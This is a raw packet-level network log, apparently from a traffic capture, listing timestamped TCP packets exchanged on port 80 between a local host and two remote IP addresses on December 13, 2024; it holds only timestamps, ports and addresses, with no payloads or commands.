Dec 13, 2024 01:51:53.761792898 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.763035059 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.763089895 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.763151884 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.763206005 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.764494896 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.764549017 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.764595032 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.764648914 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.765873909 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.765928030 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.766007900 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.766055107 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.767292023 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.767345905 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.767416954 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.767465115 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.768716097 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.768767118 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.768810034 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.768857956 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.770071983 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.770119905 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.770173073 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.770220995 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.771454096 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.771506071 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.771543980 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.771593094 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.772831917 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.772891045 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.772958040 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.773005009 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.774239063 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.774291992 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.774373055 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.774421930 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.775770903 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.775804043 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.775820017 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.775851011 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.776964903 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.777018070 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.777086020 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.777153969 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.778407097 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.778458118 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.778460026 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.778510094 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.779725075 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.779782057 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.779845953 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.779892921 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.781120062 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.781177044 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.781256914 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.781303883 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.782500029 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.782550097 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.782618046 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.782665014 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.783869982 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.783917904 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.783920050 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.783967018 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.785253048 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.785303116 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.785371065 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.785418034 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.786633968 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.786680937 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.786716938 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.786761999 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.787993908 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.788043976 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.788110018 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.788160086 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.789401054 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.789457083 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.789536953 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.789587021 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.790746927 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.790811062 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.790888071 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.790941954 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.792126894 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.792231083 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.792238951 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.792279959 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.793524981 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.793574095 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.793582916 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.793627024 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.794893026 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.794946909 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.795015097 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.795068026 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.796273947 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.796330929 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.796399117 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.796454906 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.797683954 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.797717094 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.797744989 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.797766924 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.799020052 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.799076080 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.799144983 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.799196959 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.800371885 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.800601959 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.914942980 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.915064096 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.915218115 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.915450096 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.915546894 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.916481972 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.916543007 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.916547060 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.917593002 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.917651892 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.917738914 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.918497086 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.918551922 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.918621063 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.919176102 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.919493914 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.919630051 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.920507908 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.920569897 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.920625925 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.921509981 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.921629906 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.921688080 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.922487020 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.922610044 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.922674894 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.923491955 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.923595905 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.924480915 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.924549103 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.924618006 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.925474882 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.925589085 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.925653934 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.926445961 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.926562071 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.926628113 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.927464962 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.927553892 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.928442001 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.928507090 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.928563118 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.929419994 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.929552078 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.929620981 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.930440903 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.930521965 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.930579901 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.931418896 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.931529045 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.932349920 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.932414055 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.932499886 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.933362007 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.933428049 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.933480024 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.934381962 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.934536934 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.934602022 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.935385942 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.935437918 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.936321974 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.936386108 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.936455011 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.937299013 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.937422991 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.937477112 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.938302040 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.938416004 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.938467026 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.939270020 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.939413071 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.940282106 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.940349102 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.940469980 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.941273928 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.941426039 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.941489935 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.942259073 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.942445040 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.943190098 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.943233013 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.943356991 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.943411112 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.944221020 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.944318056 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.944849014 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.945215940 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.945394993 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.945468903 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.946187973 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.946252108 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.946310043 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.946513891 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.947185040 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.947308064 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.948160887 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.948218107 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.948286057 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.949151993 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.949356079 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.949418068 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.950161934 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.950336933 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.950393915 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.951116085 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.951176882 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.951292992 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.952120066 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.952176094 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.952205896 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.953085899 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.953176975 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.953203917 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.954078913 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.954132080 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.954257965 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.955089092 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.955143929 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.955178022 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.956084967 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.956140041 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.956252098 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.957052946 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.957112074 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.957144022 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.957212925 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.958033085 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.958234072 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.959016085 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.959074974 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.959161043 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.959989071 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.960125923 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.960184097 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.960978985 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.961108923 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.961167097 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.961968899 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.962122917 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.962177992 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.962961912 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.963088036 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.963143110 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.963943958 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.964027882 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.964082003 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.964962006 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.965079069 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.965131998 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.965922117 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.965990067 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.966044903 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.966861963 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.969989061 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.085889101 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:54.085985899 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:54.107307911 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.107352018 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.107376099 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.107428074 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.107434034 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.107486010 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.107552052 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.107603073 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.108423948 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.108479977 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.108529091 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.108581066 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.109401941 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.109477043 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.109504938 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.110394955 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.110511065 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.110579014 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.111377001 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.111430883 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.112363100 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.112425089 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.112483978 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.113327980 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.113387108 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.113455057 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.114310980 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.114367008 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.114434004 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.115310907 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.115392923 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.115425110 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.116272926 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.116331100 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.116398096 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.117280960 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.117336035 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.117387056 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.118241072 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.118345976 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.118405104 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.119250059 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.119366884 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.119425058 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.120229959 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.120368004 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.120423079 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.121228933 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.121304989 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.121337891 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.122220039 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.122356892 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.122412920 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.123187065 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.123328924 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.124175072 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.124237061 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.124293089 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.125114918 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.125168085 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.125263929 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.125272989 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.126162052 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.126288891 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.126343012 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.127131939 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.127262115 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.128146887 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.128202915 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:54.128336906 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.129120111 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:54.129173994 CET	49880	80	192.168.2.4	185.215.113.16
